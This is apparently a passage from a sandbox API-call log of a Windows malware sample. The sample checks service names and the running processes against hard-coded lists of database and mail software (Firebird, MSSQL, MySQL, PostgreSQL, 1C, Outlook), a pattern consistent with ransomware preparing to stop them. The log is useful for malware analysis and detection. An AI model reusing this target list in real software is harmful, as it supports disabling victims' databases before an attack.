	[0090.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0090.855] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0090.855] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0090.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0090.855] lstrlenW (lpString="SysMain") returned 7
	[0090.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0090.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0090.856] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0090.856] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0090.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0090.857] lstrlenW (lpString="Themes") returned 6
	[0090.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0090.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0090.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0090.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0090.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0090.857] lstrlenW (lpString="TrkWks") returned 6
	[0090.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0090.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0090.857] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0090.857] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0090.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0090.857] lstrlenW (lpString="UxSms") returned 5
	[0090.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0090.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0090.857] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0090.857] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0090.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0090.857] lstrlenW (lpString="WdiServiceHost") returned 14
	[0090.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0090.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0090.857] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0090.857] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0090.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0090.857] lstrlenW (lpString="WdiSystemHost") returned 13
	[0090.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0090.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0090.858] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0090.858] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0090.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0090.858] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0090.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0090.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0090.858] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0090.858] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0090.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0090.858] lstrlenW (lpString="Winmgmt") returned 7
	[0090.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0090.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0090.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0090.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0090.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0090.858] lstrlenW (lpString="WPDBusEnum") returned 10
	[0090.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0090.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0090.858] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0090.858] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0090.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0090.858] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36bd508 | out: hHeap=0x4a0000) returned 1
	[0090.858] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x174
	[0090.862] Process32FirstW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0090.863] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0090.864] lstrlenW (lpString="System") returned 6
	[0090.864] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0090.864] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0090.864] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0090.864] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0090.864] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0090.864] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0090.864] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0090.864] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0090.867] lstrlenW (lpString="smss.exe") returned 8
	[0090.867] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0090.867] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0090.867] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0090.867] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0090.867] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0090.867] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0090.867] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0090.867] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0090.868] lstrlenW (lpString="csrss.exe") returned 9
	[0090.868] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0090.868] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0090.868] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0090.868] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0090.868] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0090.868] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0090.868] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0090.868] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0090.869] lstrlenW (lpString="wininit.exe") returned 11
	[0090.869] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0090.869] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0090.869] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0090.869] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0090.869] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0090.869] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0090.869] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0090.870] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0090.871] lstrlenW (lpString="csrss.exe") returned 9
	[0090.871] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0090.871] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0090.871] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0090.871] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0090.871] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0090.871] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0090.871] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0090.872] lstrlenW (lpString="winlogon.exe") returned 12
	[0090.872] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0090.873] lstrlenW (lpString="services.exe") returned 12
	[0090.873] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0090.874] lstrlenW (lpString="lsass.exe") returned 9
	[0090.874] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0090.875] lstrlenW (lpString="lsm.exe") returned 7
	[0090.875] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.875] lstrlenW (lpString="svchost.exe") returned 11
	[0090.876] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.876] lstrlenW (lpString="svchost.exe") returned 11
	[0090.876] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.877] lstrlenW (lpString="svchost.exe") returned 11
	[0090.877] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.878] lstrlenW (lpString="svchost.exe") returned 11
	[0090.878] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.879] lstrlenW (lpString="svchost.exe") returned 11
	[0090.879] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0090.880] lstrlenW (lpString="audiodg.exe") returned 11
	[0090.880] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.881] lstrlenW (lpString="svchost.exe") returned 11
	[0090.881] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.882] lstrlenW (lpString="svchost.exe") returned 11
	[0090.882] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0090.884] lstrlenW (lpString="dwm.exe") returned 7
	[0090.884] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0090.885] lstrlenW (lpString="explorer.exe") returned 12
	[0090.885] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0090.940] lstrlenW (lpString="spoolsv.exe") returned 11
	[0090.940] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0090.941] lstrlenW (lpString="taskhost.exe") returned 12
	[0090.941] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.942] lstrlenW (lpString="svchost.exe") returned 11
	[0090.942] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0090.943] lstrlenW (lpString="taskeng.exe") returned 11
	[0090.943] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0090.944] lstrlenW (lpString="taskhost.exe") returned 12
	[0090.944] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0090.945] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0090.945] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0090.946] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0090.946] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0090.947] lstrlenW (lpString="zoo.exe") returned 7
	[0090.947] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0090.948] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0090.948] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0090.949] lstrlenW (lpString="determined.exe") returned 14
	[0090.949] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0090.950] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0090.950] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0090.951] lstrlenW (lpString="hansen mails.exe") returned 16
	[0090.951] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0090.951] lstrlenW (lpString="choirsas.exe") returned 12
	[0090.951] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0090.952] lstrlenW (lpString="skirt_races.exe") returned 15
	[0090.952] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0090.953] lstrlenW (lpString="actors_radius.exe") returned 17
	[0090.953] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0090.954] lstrlenW (lpString="scheduling.exe") returned 14
	[0090.954] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0090.955] lstrlenW (lpString="michael.exe") returned 11
	[0090.955] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0090.956] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0090.956] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0090.957] lstrlenW (lpString="pleasure.exe") returned 12
	[0090.957] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0090.958] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0090.958] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0090.959] lstrlenW (lpString="electron.exe") returned 12
	[0090.959] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0090.960] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0090.960] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0090.960] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0090.960] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0090.961] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0090.961] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0090.962] lstrlenW (lpString="pointer.exe") returned 11
	[0090.962] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0090.963] lstrlenW (lpString="gd logos.exe") returned 12
	[0090.963] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0090.964] lstrlenW (lpString="algebra validity.exe") returned 20
	[0090.964] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0090.965] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0090.965] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0090.966] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0090.966] Process32NextW (in: hSnapshot=0x174, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0090.967] lstrlenW (lpString="dllhost.exe") returned 11
